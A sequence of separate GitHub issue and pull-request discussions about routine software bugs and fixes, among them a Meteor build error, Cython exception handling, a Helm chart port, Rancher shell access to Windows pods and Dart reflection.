  meteor npm install --save loglevel

Unable to resolve some modules:

  "loglevel" in /tmp/Viewers/LesionTracker/client/log.js (web.browser.legacy)

If you notice problems related to these missing modules, consider running:

  meteor npm install --save loglevel

W20181114-13:52:32.132(1)? (STDERR) Note: you are using a pure-JavaScript implementation of bcrypt.
W20181114-13:52:32.132(1)? (STDERR) While this implementation will work correctly, it is known to be
W20181114-13:52:32.133(1)? (STDERR) approximately three times slower than the native implementation.
W20181114-13:52:32.133(1)? (STDERR) In order to use the native implementation instead, run
W20181114-13:52:32.133(1)? (STDERR)
W20181114-13:52:32.133(1)? (STDERR)   meteor npm install --save bcrypt
W20181114-13:52:32.133(1)? (STDERR)
W20181114-13:52:32.133(1)? (STDERR) in the root directory of your application.
W20181114-13:52:32.133(1)? (STDERR) /tmp/Viewers/LesionTracker/.meteor/local/build/programs/server/boot.js:475
W20181114-13:52:32.134(1)? (STDERR) }).run();
W20181114-13:52:32.134(1)? (STDERR)    ^
W20181114-13:52:32.134(1)? (STDERR)
W20181114-13:52:32.134(1)? (STDERR) Error: The @babel/runtime npm package could not be found in your node_modules
W20181114-13:52:32.134(1)? (STDERR) directory. Please run the following command to install it:
W20181114-13:52:32.134(1)? (STDERR)
W20181114-13:52:32.134(1)? (STDERR)   meteor npm install --save @babel/runtime
W20181114-13:52:32.134(1)? (STDERR)
W20181114-13:52:32.135(1)? (STDERR)     at babel-runtime.js (packages/babel-runtime.js:25:9)
W20181114-13:52:32.135(1)? (STDERR)     at fileEvaluate (packages/modules-runtime.js:322:7)
W20181114-13:52:32.135(1)? (STDERR)     at Module.require (packages/modules-runtime.js:224:14)
W20181114-13:52:32.135(1)? (STDERR)     at require (packages/modules-runtime.js:244:21)
W20181114-13:52:32.135(1)? (STDERR)     at packages/babel-runtime.js:79:15
W20181114-13:52:32.135(1)? (STDERR)     at packages/babel-runtime.js:86:3
W20181114-13:52:32.135(1)? (STDERR)     at /tmp/Viewers/LesionTracker/.meteor/local/build/programs/server/boot.js:411:36
W20181114-13:52:32.135(1)? (STDERR)     at Array.forEach (<anonymous>)
W20181114-13:52:32.135(1)? (STDERR)     at /tmp/Viewers/LesionTracker/.meteor/local/build/programs/server/boot.js:220:19
W20181114-13:52:32.136(1)? (STDERR)     at /tmp/Viewers/LesionTracker/.meteor/local/build/programs/server/boot.js:471:5
=> Exited with code: 1
=> Your application is crashing. Waiting for file change.

Solved with a
npm install -g npm@latest
npm cache verify
npm i

sorry for the noise


Alpha release

Codecov Report

Merging #494 (56ee998) into alpha (ebd7d73) will decrease coverage by 0.44%.
The diff coverage is 17.34%.

@@            Coverage Diff             @@
##            alpha     #494      +/-   ##
==========================================
- Coverage   30.06%   29.62%   -0.45%
==========================================
  Files          79       79
  Lines        9462     9576     +114
==========================================
- Hits         2845     2837       -8
- Misses       6358     6478     +120
- Partials      259      261       +2

Impacted Files
Coverage Δ

api/server/v1/marshaler.go
11.07% <0.00%> (-0.35%)
:arrow_down:

server/metrics/tenant.go
0.00% <ø> (-29.42%)
:arrow_down:

server/middleware/auth.go
33.92% <0.00%> (-0.94%)
:arrow_down:

server/middleware/middleware.go
0.00% <0.00%> (ø)

server/middleware/namespace.go
0.00% <0.00%> (ø)

server/middleware/tracing.go
0.00% <0.00%> (ø)

server/services/v1/admin.go
0.00% <ø> (ø)

server/services/v1/api.go
0.00% <0.00%> (ø)

server/services/v1/key_generator.go
0.00% <0.00%> (ø)

server/services/v1/query_runner.go
5.00% <0.00%> (-0.14%)
:arrow_down:

... and 12 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Dump: Dump guest cluster nodes

So the question "Did nodes join this cluster" can be answered easily,
rather than having to infer it from "Is there a running pod somwhere".

What this PR does / why we need it:
Which issue(s) this PR fixes (optional, use fixes #<issue_number>(, fixes #<issue_number>, ...) format, where issue_number might be a GitHub issue, or a Jira story:
Fixes #
Checklist

[ ] Subject and description added to both, commit and PR.
[ ] Relevant issues have been referenced.
[ ] This change includes docs.
[ ] This change includes unit tests.

/lgtm


One node restart iscsi sessions reconnect despite no volume attachments

Setup a pod on node1 using a volume
Shutdown node1 and delete pod and volumeattachment
Startup node1

Now after bootup the iscsi sessions will be reconnected again despite no volumeattachments
This will cause issues if later the pod is trying to come up on another node

node.startup was not updated correctly during iSCSI login, hence on every reboot, iSCSI sessions were automatically logged-in. Fixed this by applying node.startup = manual during node_stage request.


Logger child is not silenced

When creating child instance of winston logger, silent property should be passed aswell

What do you mean by child instance?

@aunyks take a look at https://github.com/ChainSafe/lodestar/blob/master/packages/lodestar/src/logger/winston.ts#L101
We create child instances that are cheaper than creating entirely new loggers.

Gotcha. Thanks for linking. I'll take it.


[BUG] Python exceptions don't always propagate from an "except +" function in Cython 0.29

Describe the bug
When raising a Python exception in a cdef function marked with except +, the exception is not always propagated to the call site. Related to #2603, most likely due to https://github.com/cython/cython/pull/2615#discussion_r219310909. Can it be made safe by replacing except + with except *?
To Reproduce
Three files are needed to reproduce the behaviour.
In Makefile:
.DEFAULT_GOAL := main
%.cpp: %.pyx
	python3 -m cython -3 --cplus --directive embedsignature=True --directive binding=True -o $@ $<
%.cpp.o: %.cpp
	g++ -isystem /usr/include/python3.8 -O3 -g -fPIC -pthread -Wall -Wextra -std=c++14 -o $@ -c $<
%.so: %.cpp.o
	g++ -fPIC -O3 -g -pthread -shared -Wl,-soname,helloworld.so -o $@ $<
main.txt: helloworld.so helloworld_utils.so
	touch main.txt
main: main.txt
	python3 -c 'import helloworld;helloworld.MyClass("string");helloworld.MyClass(123);print("No error was raised!")'

In helloworld_utils.pyx:
def to_bytes(s):
    if isinstance(s, unicode):
        return ( < unicode > s).encode("utf8")
    return s

In helloworld.pyx:
import helloworld_utils
from libcpp.string cimport string
from libcpp.unordered_map cimport unordered_map
ctypedef unordered_map[string, string] VarMap

cdef class MyClass:
    def __init__(self, value):
        cdef VarMap converted_value
        converted_value[helloworld_utils.to_bytes("value")] = python_object_to_variant(value)

cdef string python_object_to_variant(value) except +:
    cdef string out
#    if isinstance(value, str):
#        out = helloworld_utils.to_bytes(value)
#        return out
    raise TypeError(f"cannot convert type {type(value)} to std::string")

Running make to build the module and run the python script results in message "No error was raised!" being printed to stdout.
Expected behavior
The expected outcome is a TypeError, and it can be obtained by doing one of the following actions:

uncommenting the commented lines in the body of python_object_to_variant()
replacing helloworld_utils.to_bytes("value") with b"value" in MyClass.__init__()
replacing helloworld_utils.to_bytes("value") with to_bytes("value") in MyClass.__init__() and copy-pasting the definition of to_bytes() in helloworld.pyx
replacing except + with except *

The following workarounds didn't help:

replacing except + with except +* (due to #3065)
adding except + to U& operator[](T&) in Cython/Includes/libcpp/unordered_map.pxd
replacing converted_value[a] = b by converted_value.insert(pair[string, string](a, b))

Environment:
Reproducible in 2 environments:

OS: Ubuntu 20.04 resp. Ubuntu 22.04
Python version 3.8.10 resp. 3.9.5
Cython version 0.29.14 resp. 0.29.21

Additional context
The bug is always reproducible in the minimal working example provided above, however the bug originally surfaced in a larger Cython project where it happened at random and infrequently. According to Exception handling in cython cdef declarations, declaring the cdef function with except * seems to be the preferred approach in this situation, although it comes with a small overhead. According to #2603, declaring the cdef function with except + shouldn't prevent the propagation of Python exceptions.

It isn't completely obvious from the issues you link, but except+ only makes sense for extern functions. Cython functions never raise c++ exceptions and they should never allow c++ exceptions to propagate through them (they only handle reference counting correctly if the c++ exception is caught and handled/converted immediately).
There may be a genuine issue here, but in this case the function should just be except *

@da-woods Thanks for the clarification! It makes sense now. I'll make that change.


Add -x, --sandbox flag to force:auth:web:login for sandbox logins

What are you trying to do
I would like to be able to specify a -x, --sandbox flag instead having to type out https://test.salesforce.com for the -r, --instanceurl flag, each time I want to authenticate with a sandbox org.
Examples:
$ sfdx force:auth:web:login --sandbox --setalias sandbox1
$ sfdx force:auth:web:login -x -a sandbox2

with EnhancedDomains, this becomes a less useful feature (https://test.salesforce.com wouldn't be used, the domain of the sandbox would be, and in some cases has to be used instead)


Update fix minor typo requests-for-startups.md

thank you for your understanding.

I don't understand though. How do I contributor?


.git/safe is opt-in

The idea behind the .git/safe is that I run it manually and explicitly
after I trust the directoy and the team behind the project.
Creating it as part of the setup script defeats the point of that. Doing
so without explcitly telling the user comes across as sneaky, perhaps.
(I do expect all devs to read setup scripts before running them -- but I
also know that they do not!)
Switch this script to inform the user that they have no .git/safe
directory but might like to make one.

This can be considered WIP: I don't have the time/bandwidth to test this right now, but it seems to have the right syntax.

Confirmed this, verified the output, and it looks great. Truly a work of art.
Bikeshedding over the output is welcome, but this is now good to review.

A short blog post specifically about .git/safe might be a helpful explanation for many https://www.google.com/search?client=safari&hl=en-us&ei=nIEDWZy-LMWojwPKuLuwDg&q=".git%2Fsafe"+site%3Arobots.thoughtbot.com


Duplicate items

When setting up a new project everything seem to go fine. I checked the dashboard and nothing was there. So I tried it again, still nothing. At this point I found the queue was not running.
I started the queue, but it showed in horizon there were two setup tasks.
This has created duplicates, this could be a issue when new pings coming in.

I just deleted the project and created a new one to fix the issue.
Stack trace from failed ping:
[2020-11-28 11:04:27] production.ERROR: Undefined property: Illuminate\Http\Client\ConnectionException::$response {"exception":"[object] (ErrorException(code: 0): Undefined property: Illuminate\\Http\\Client\\ConnectionException::$response at /var/www/production.processrubber.com.au/releases/20201128105731/vendor/thenpingme/laravel/src/ThenpingmePingJob.php:41)
[stacktrace]
#0 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/thenpingme/laravel/src/ThenpingmePingJob.php(41): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()
#1 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Thenpingme\\ThenpingmePingJob->handle()
#2 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Container/Util.php(40): Illuminate\\Container\\BoundMethod::Illuminate\\Container\\{closure}()
#3 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(93): Illuminate\\Container\\Util::unwrapIfClosure()
#4 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(37): Illuminate\\Container\\BoundMethod::callBoundMethod()
#5 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Container/Container.php(610): Illuminate\\Container\\BoundMethod::call()
#6 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(128): Illuminate\\Container\\Container->call()
#7 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(128): Illuminate\\Bus\\Dispatcher->Illuminate\\Bus\\{closure}()
#8 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
#9 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(132): Illuminate\\Pipeline\\Pipeline->then()
#10 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(403): Illuminate\\Bus\\Dispatcher->dispatchNow()
#11 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/thenpingme/laravel/src/Client/ThenpingmeClient.php(81): dispatch_now()
#12 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/thenpingme/laravel/src/Console/Commands/ThenpingmeSyncCommand.php(57): Thenpingme\\Client\\ThenpingmeClient->dispatch()
#13 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/thenpingme/laravel/src/Console/Commands/ThenpingmeSyncCommand.php(42): Thenpingme\\Console\\Commands\\ThenpingmeSyncCommand->syncTasks()
#14 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/nunomaduro/laravel-console-task/src/LaravelConsoleTaskServiceProvider.php(49): Thenpingme\\Console\\Commands\\ThenpingmeSyncCommand->Thenpingme\\Console\\Commands\\{closure}()
#15 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php(114): Thenpingme\\Console\\Commands\\ThenpingmeSyncCommand->NunoMaduro\\LaravelConsoleTask\\{closure}()
#16 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/thenpingme/laravel/src/Console/Commands/ThenpingmeSyncCommand.php(43): Illuminate\\Console\\Command->__call()
#17 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Thenpingme\\Console\\Commands\\ThenpingmeSyncCommand->handle()
#18 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Container/Util.php(40): Illuminate\\Container\\BoundMethod::Illuminate\\Container\\{closure}()
#19 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(93): Illuminate\\Container\\Util::unwrapIfClosure()
#20 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(37): Illuminate\\Container\\BoundMethod::callBoundMethod()
#21 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Container/Container.php(610): Illuminate\\Container\\BoundMethod::call()
#22 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Console/Command.php(136): Illuminate\\Container\\Container->call()
#23 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/symfony/console/Command/Command.php(258): Illuminate\\Console\\Command->execute()
#24 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Console/Command.php(121): Symfony\\Component\\Console\\Command\\Command->run()
#25 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/symfony/console/Application.php(920): Illuminate\\Console\\Command->run()
#26 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/symfony/console/Application.php(266): Symfony\\Component\\Console\\Application->doRunCommand()
#27 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/symfony/console/Application.php(142): Symfony\\Component\\Console\\Application->doRun()
#28 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Console/Application.php(93): Symfony\\Component\\Console\\Application->run()
#29 /var/www/production.processrubber.com.au/releases/20201128105731/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(129): Illuminate\\Console\\Application->run()
#30 /var/www/production.processrubber.com.au/releases/20201128105731/artisan(37): Illuminate\\Foundation\\Console\\Kernel->handle()
#31 {main}

Solved by 1.3.8 and 2.3.8, which will now dispatch the setup command in sync.


[incubator/buzzfeed-sso] Fix wrong proxy container port

What this PR does / why we need it:
Due to the wrong container port, the proxy ingress will always sees the backend as unhealthy since the health check endpoint will be / instead of /ping. This issue is only visible on GKE as described here : https://stackoverflow.com/questions/44584270/how-to-get-a-custom-healthcheck-path-in-a-gce-l7-balancer-serving-a-kubernetes-i
Checklist

[x] DCO signed
[x] Chart Version bumped
[x] Title of the PR starts with chart name (e.g. [stable/chart])

@darioblanco can you please have a look at this change ? It's a blocker for us.

Wow, this was indeed a bug. I had to double and triple check it, as it works perfectly in my set up. I am surprised that the pod wasn't in a restarted loop and would like to investigate more.
I have updated it to the new port in my production cluster, and as expected, it works.
/approve

@darioblanco the pod won't be in a restart state since the readinessProbe and livenessProbe are configured correctly. The current chart work perfectly on AWS as well. This issue is only visible on GKE since they rely on named ports to figure out the health check endpoint.

@darioblanco btw, I guess we will face the issue of /ok-to-test on this PR as well, any idea if we can speed up fixing this issue ? I'm more interested in this PR than the other open one (since this is a bug).

I run this on GKE, that is the surprising fact. Which Kubernetes version do you use?
Regarding the /ok-to-test issue, I should have requested the trusted user role before to be honest, but better late than never :)
Once that one is resolved, I will prioritize merging this MR, I indeed think this one is more important.
And thanks for your contribution!

@darioblanco any updates ?

Still no news, awaiting feedback in https://github.com/helm/charts/issues/14682

@darioblanco is there a way to get a trusted collaborator review this PR ? usually permissions issue take time and I don't expect the issue you opened to be addressed fast enough.

It took a loooong time to get the buzzfeed-sso merged into the repo, even if it was in incubator state. They reacted with a twitter message from the community in the past. I think they are overloaded with MRs, and that's why I think the permission issue might be faster.
But who knows, maybe we are lucky and a collaborator with permissions can merge this. You can try pinging them in the slack channel.

/ok-to-test

@darioblanco now only the /lgtm is required. I hope you can do that 😅

Unfortunately no :(
Hm, I think you should be able to do it, did you try?

@komljen can you please have a look at this PR ?

I can, but it will require rebase as well since buzzfeed-sso is changed in master.

I think you can just bump the chart version to 0.0.3.
Master chart is already at 0.0.2.

@komljen all green now, we should be able to merge, right ?

/lgtm


Numpy docstring

Motivation
Improve numpy docstrings and call signatures throughout. None of these changes should alter code function.
Checklist

[x] Have you thoroughly read our Developer Guide?
[x] Have you ensured the PR description clearly describes the problem and solutions?
[x] Have you checked to ensure that there aren't other open or previously closed Pull Requests for the same change?
[x] If this PR fixes an issue, is the first line of the PR description fix #XXX where XXX is the issue number?
[x] Did you update the CHANGLOG.md file on your branch to describe your changes?

Phew, this looks like a lot of typing! I'd recommend putting into draft and pinging me when ready for final review (and tests passing)

@bendichter Is this ready for review?


Resize on mobile

I think the scene viewport resize not work on mobile browser.

portrait mode: it have small gap above the scene
when switch to landscape : it not resize

I’m trying to fix it…

Hi, can you provide an example on codepen?
Are you using a PerspectiveCameraAuto or OrthographicCameraAuto?
Currently the documentation is still poor, if you need help with anything, please ask :)

You can check my demo site here:
https://mml-vite-3js.vercel.app/
My CSS is 100% width. You must test on a mobile device browser (my case is iPhone 14), On the Chrome simulator the bug did not occured.

I created an application on stackblitz where I used the css from your demo and tested it on my iphone 8.
Stackblitz issue #23
This seems to be the problem:
body {
  margin: 0;
  display: flex;
  place-items: center;
  min-width: 320px;
  min-height: 100vh;
}

Commenting on these styles, the behaviour would seem to be correct.
Ps. Nice demo! Have you considered using the interceptByRaycaster property on the meshes you don't want to have interaction on, to improve performance?

Oh, my bad. I didnt notice that. Thank you so much. About the demo I’m
trying to port my metaverse game from unity to threejs. And your framework
really helped me. Thank you again!
On Fri, 22 Sep 2023 at 18:01 Andrea Gargaro @.***>
wrote:

I created an application on stackblitz where I used the css from your demo
and tested it on my iphone 8.
Stackblitz issue #23
https://stackblitz.com/edit/three-ez-issue-23?file=style.css
This seems to be the problem:
body {
margin: 0;
display: flex;
place-items: center;
min-width: 320px;
min-height: 100vh;
}
https://user-images.githubusercontent.com/47436453/269901296-9a0aa62a-8ac3-4687-8723-a4b04c55a020.png
Commenting on these styles, the behaviour would seem to be correct.
Ps. Nice demo! Have you considered using the interceptByRaycaster
property on the meshes you don't want to have interaction on, to improve
performance?
—
Reply to this email directly, view it on GitHub
https://github.com/agargaro/three.ez/issues/23#issuecomment-1731228436,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AEJL6LLOJRGP2VNML7WNMYDX3VVZJANCNFSM6AAAAAA5BWKTWM
.
You are receiving this because you authored the thread.Message ID:
@.***>


Make excluded field list more specific

Make the list of fields excluded from table column generation more specific so that custom field names such as "starts_at" or "ends_at" are generated if they exist in the schema but Laravel system fields still remain hidden.

Thanks


adapt to current Rack development version, and fix some issues en-passant

Hi,
after I did the adaption to the 0.6.0dev API, I found out by chance that dizzisound also did this. *) So it seems that people want compile your code against the newest-and-hottest (and buggiest, lol) Rack.
While I adapted the plugins, I also noticed some errors from my Linux GCC compiler. And while at it, I thought "Hey, let's throw clang's static analyzer onto the code". And it also found some things. I fixed all of them.
*) https://github.com/dizzisound/VCV-Rack-Plugins/commit/774f6dc59c2a1dca9bfbaea49b946e0b5c9fd78a ... he didn't create a pull request

@holgerschurig  Hi Holger, only to inform you that I didn't proceeded with a PR as per this issue: https://github.com/mschack/VCV-Rack-Plugins/issues/55 that was the closed by @cschol
In short, the dev wished to make the update himself, so as to upgrade the modules with new features he hadn't pushed yet.
Regards

sorry guys, i missed this and submitted my 0.6 build


Remove not used js

Actually:

Render unused JavaScript sources in head tag

Expected:

Not append none-used js file
Not copy none-used js file

On ver0.12.0, not need ?:

documentation_options.js
jquery.js
underscore.js
doctools.js
language_data.js

NOTE: If it is commited, next release need to change major version because it has breaking changes.

Release it by v3.0.0 ( ref #157 )


Fix pkg.browser mappings issue by specifying a value of false

Fix pkg.browser with some maps specifying a value of false to ignore a module. (https://github.com/defunctzombie/package-browser-field-spec)
...
"browser": {
    "module-a": false,  // ---->>> map to empty.js
    "./server/only.js": "./shims/server-only.js"
}

@guybedford @TrySound @lukastaegert @keithamus anything I can do to help with this PR? I'm trying to migrate some projects to rollup and being able to ignore node built-ins that I know for sure won't be called in the browser (ala webpack) would be really nice.
In the meantime, I'm rolling my own shims with rollup-plugin-shim, but it's frustrating because I have to shim each export which I think this PR obviates. Let me know if there's a better workaround!

Will try to have a look tomorrow

@lukastaegert yay! I'm here all day (PST), let me know if I can help!

Released


Exec not created on UI to Windows pods with minimal RBAC

Setup

Rancher version: 2.7.2
Rancher UI Extensions: N/A
Browser type & version: Unknown

Describe the bug

When the user has RBAC exec on Windows pods does not work. Sambe RBAC works for Linux
Try to execute on a windows pod from UI, it does not work
works if download kubeconfig and execute: kubectl -n default exec -it  powershell
To Reproduce

deploy cluster with Windows node
Create a user
give permissions on the project: View Monitoring', 'View Workloads' and 'Manage Workloads'
try to execute on a Windows pod (three dots, execute)

Result
it just gives a blank screen
Expected Result

User should be able to exec into the pod with minimal RBAC permissions.
Screenshots

Additional context

Same operation works fine for a linux pod
Workaround is to download the kubeconfig and exec from the CLI.
Could be related to fixes put in https://github.com/rancher/dashboard/issues/3157 or https://github.com/rancher/dashboard/issues/4862 requiring the user to have more than just exec permissions, but this needs to be documented if that's the case.
SURE-6180

@aiyengar2 In the browsers dev tools are there any failed network requests or errors in the console?

As part of this card, we should document how to bring up windows nodes for issues like these.

Will document bringing up a windows node as part of another task but the problem described here isn't something we can resolve directly on the UI side.
Problem description: The UI must reference the cluster node in order to determine if a pod being exec'd into is a Windows node (so it can supply the 'cmd' command rather than /bin/bash).
Workaround: A user with minimal permissions to manage workloads in a project should be able to exec into Windows pods provided they also have cluster permissions to view nodes.
Potential long-term fix: Add metadata to pods to differentiate between Windows and Linux workloads, once we have that we can eliminate the call to nodes in shell/components/nav/WindowManager/ContainerShell.vue and reference that instead of the related node to determine the OS and generate the correct command to properly open a shell in the pod.

@Sean-McQ We can't just close the issue here - I don't understand the workaround - is the problem that the user can't access nodes, so we can't determine if the pod is running on a Windows node? I don't see what the workaround is.
I assume we try /bin/bash - does that fail in a way we could then try cmd? i.e. we wouldn't need to know if it was windows or not.
I don't think we should add metadata to pods.
If we need something from backend, we need to create an issue and reference it here - we can't close this out until resolved.

Ticket #8855 - Test Results - :x: - RE-OPENED
With HA Helm running Rancher v2.7-027246f77f03b82660dc2e91df6bf2cd549163f0-head:

Scenario
Test Case
Result

1.
As standard user and project member of a downstream cluster, execute shell for a windows pod via Rancher UI
:x:

2.
As standard user and project member of a downstream cluster, execute shell for a linux pod via Rancher UI
✅

Scenario 1 - :x:

Fresh install of Rancher v2.7-head
As admin, provision a downstream custom cluster - [ 3 linux nodes: 1 etcd, 1 cp, 1 wkr; 1 windows node: 1 wkr ]
Once active, create a standard user
Add standard user created in step 3 as a project member to the cluster
Deploy a couple windows workloads - [ i used ranchertest/testcontainer:windows and ranchertest/testnginx:windows ]
Once active, log out as admin and log back in as standard user
As standard user, navigate to Cluster Explorer > Workloads > Pods, and execute shell for windows pods.
Veri-FAILED - shell opens up, reports an error, and immediately disconnects. (shell will remain open in UI, but disconnected)

Error:
Internal error occurred: error executing command in container: failed to exec in container: failed to start exec "<REDACTED>": hcs::System::CreateProcess: /bin/sh -c "TERM=xterm-256color; export TERM; [ -x /bin/bash ] && ([ -x /usr/bin/script ] && /usr/bin/script -q -c \"/bin/bash\" /dev/null || exec /bin/bash) || exec /bin/sh" <REDACTED>: The system cannot find the file specified.: unknownInternal error occurred: error executing command in container: failed to exec in container: failed to start exec "<REDACTED>": hcs::System::CreateProcess: undefined <REDACTED>: The system cannot find the file specified.: unknownUnable to open a shell to the container (none of the shell commmands succeeded)

Screenshot:

Scenario 2 - ✅

Fresh install of Rancher v2.7-head
As admin, provision a downstream custom cluster - [ 3 linux nodes: 1 etcd, 1 cp, 1 wkr; 1 windows node: 1 wkr ]
Once active, create a standard user
Add standard user created in step 3 as a project member to the cluster
Deploy a linux workload - [ i used ranchertest/mytestcontainer ]
Once active, log out as admin and log back in as standard user
As standard user, navigate to Cluster Explorer > Workloads > Pods, and execute shell for linux pods.
Verified - shell opens, connects, and is functional; as expected

Ticket #8855 - Test Results - ✅
With HA Helm running Rancher v2.7-d8a2bcae227717e16caa8519a3709f3e013673f2-head:

Scenario
Test Case
Result

1.
As standard user and project member of a downstream cluster, execute shell for a windows pod via Rancher UI
✅

2.
As standard user and project member of a downstream cluster, execute shell for a linux pod via Rancher UI
✅

Scenario 1 - ✅

Fresh install of Rancher v2.7-head
As admin, provision a downstream custom cluster - [ 3 linux nodes: 1 etcd, 1 cp, 1 wkr; 1 windows node: 1 wkr ]
Once active, create a standard user
Add standard user created in step 3 as a project member to the cluster
Deploy a couple windows workloads - [ i used ranchertest/testcontainer:windows and ranchertest/testnginx:windows ]
Once active, log out as admin and log back in as standard user
As standard user, navigate to Cluster Explorer > Workloads > Pods, and execute shell for windows pods.
Verified - shell opens, connects, and is functional; as expected

Scenario 2 - ✅

Fresh install of Rancher v2.7-head
As admin, provision a downstream custom cluster - [ 3 linux nodes: 1 etcd, 1 cp, 1 wkr; 1 windows node: 1 wkr ]
Once active, create a standard user
Add standard user created in step 3 as a project member to the cluster
Deploy a linux workload - [ i used ranchertest/mytestcontainer ]
Once active, log out as admin and log back in as standard user
As standard user, navigate to Cluster Explorer > Workloads > Pods, and execute shell for linux pods.
Verified - shell opens, connects, and is functional; as expected


Add functions

Created webpack
Created Html java and css
Styled using css
Gave all functionalities with javascript

⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠ ⚠
Hello, @alexmedinasf if the next code reviewer will approve it please open a new branch for the next milestone. You use the same branch for all milestones until now which is wrong. You should have different branches for the different milestones.


[FEATURE] support for librespot and ncspot

I use ncspot instead of spotifys web player or spotify-tui (which uses spotifyd
I noticed there is already a request for support for spotifyd, so I'm here to request support for ncspot which useslibrespot

I'd be more than happy to do it, but I am not sure how. It would require if spotifyd or ncspot expose a way to get the currently playing info from them


Reflecting on fields in a space efficient way

Is there a way to reflect on the fields of an instance without ballooning the size of the app? I'm using the declarationsCapability and instanceInvokeCapability and I'm seeing about 30kb increase of minified JS for a single reflected class.
Looking through the generated JS, it seems like it includes the type info for the instance's fields, those type's fields, and so on. I really don't care about the type info. I just want to iterate over the instance's fields and query their values.

Hi Dan,
with recent versions of reflectable we have some implications: declarationsCapability is an instance of a subtype of the type of typeCapability, and this means that you cannot have declarationsCapability without typeCapability. The point is that you can never reach any declarations if you cannot reach any types, so declarationsCapability makes no sense without typeCapability.
That was the first step. Second: When you have typeCapability you can also get a mirror of the class of a type annotation for any given declaration mirror (e.g., with a field among the declarations, you can get the class of the type annotation in the declaration of that variable, if any; similarly for method arguments and return types). We even follow that track recursively: If support for a class C causes support for a class D used as a type annotation in C, then you will also get support for class E if it is used in a type annotation in D (all of this: if your capabilities provide support for those members, which might not be the case if you are using ..Meta.. capabilities or using a non-trivial regexp). This is already enough of a reason to make your supported universe larger than you expect---and need, presumably. This also matches the situation as you described it.
If this is the right diagnostic then there is a solution which is just about to be released:
We have introduced the notion of typeAnnotationQuatifyCapability to give you more control. The idea is that the transitive closure of types reachable via type annotations is not any more taken as soon as you have the typeCapability and declarationsCapability, we only take that step if you request it explicitly.
You do that by including typeAnnotationQuatifyCapability or typeAnnotationDeepQuatifyCapability among your capabilities (both instances of a class but providing different arguments for a constructor argument called transitive); the former will cause type annotation classes to be included in one step, and the latter will run a fixed point iteration such that all reachable types (traversing declarations and their types) are included. With deep/transitive quantification we have the old behavior that you are probably using today. If you don't include any of them then you don't get any of the type annotation classes at all (except of course if you have included some of them in some other way).
You can get support for the new quantifiers by switching to commit 195e18b4a80d53ec6e09c0341871d386ee439bed of reflectable or something newer (not yet published, and it only implements the quantifiers for non-transformed code so you can test but you can't really see the space improvement; but it's just about ready for transformed code as well and then we'll publish it in a version '0.3.').
I'm closing the issue now because I think the solution is upcoming. Please create a new issue if it turns out to be a different problem.

Thanks, that sounds like what I'm looking for.

Hey @eernstg, I tried out the latest release (0.3.2) and I'm having some issues with the new typeAnnotationQuantifyCapability. When reflecting on an instance, it returns null for InstanceMirror.type.
What I'm trying to do is define a class that I can mixin, and be able to inspect the values of the host. For example, something like:
class Person extends Object with Inspectable {
  final String name;
}

var person = new Person("Jim");
print(person.inspect()); // Person {name: "Jim"}

My Reflectable and mixin looks like this:
class ReflectSubtypes extends Reflectable {
  const ReflectSubtypes() : super(typeAnnotationQuantifyCapability, subtypeQuantifyCapability);
}

const _inspector = const ReflectSubtypes();

@ReflectSubtypes()
class Inspectable {
  Map<String, dynamic> inspectValues() {
    var mirror = _inspector.reflect(this);
    var valueMirrors = mirror.type.declarations.values.where((value) => value is VariableMirror);
    var valueMap = new Map.fromIterable(valueMirrors,
        key: (value) => value.simpleName,
        value: (value) => mirror.invokeGetter(value.simpleName));
    return valueMap;
  }

  String inspect() {
    return _inspectWithOptions();
  }

  String _inspectWithOptions({String indent: ""}) {
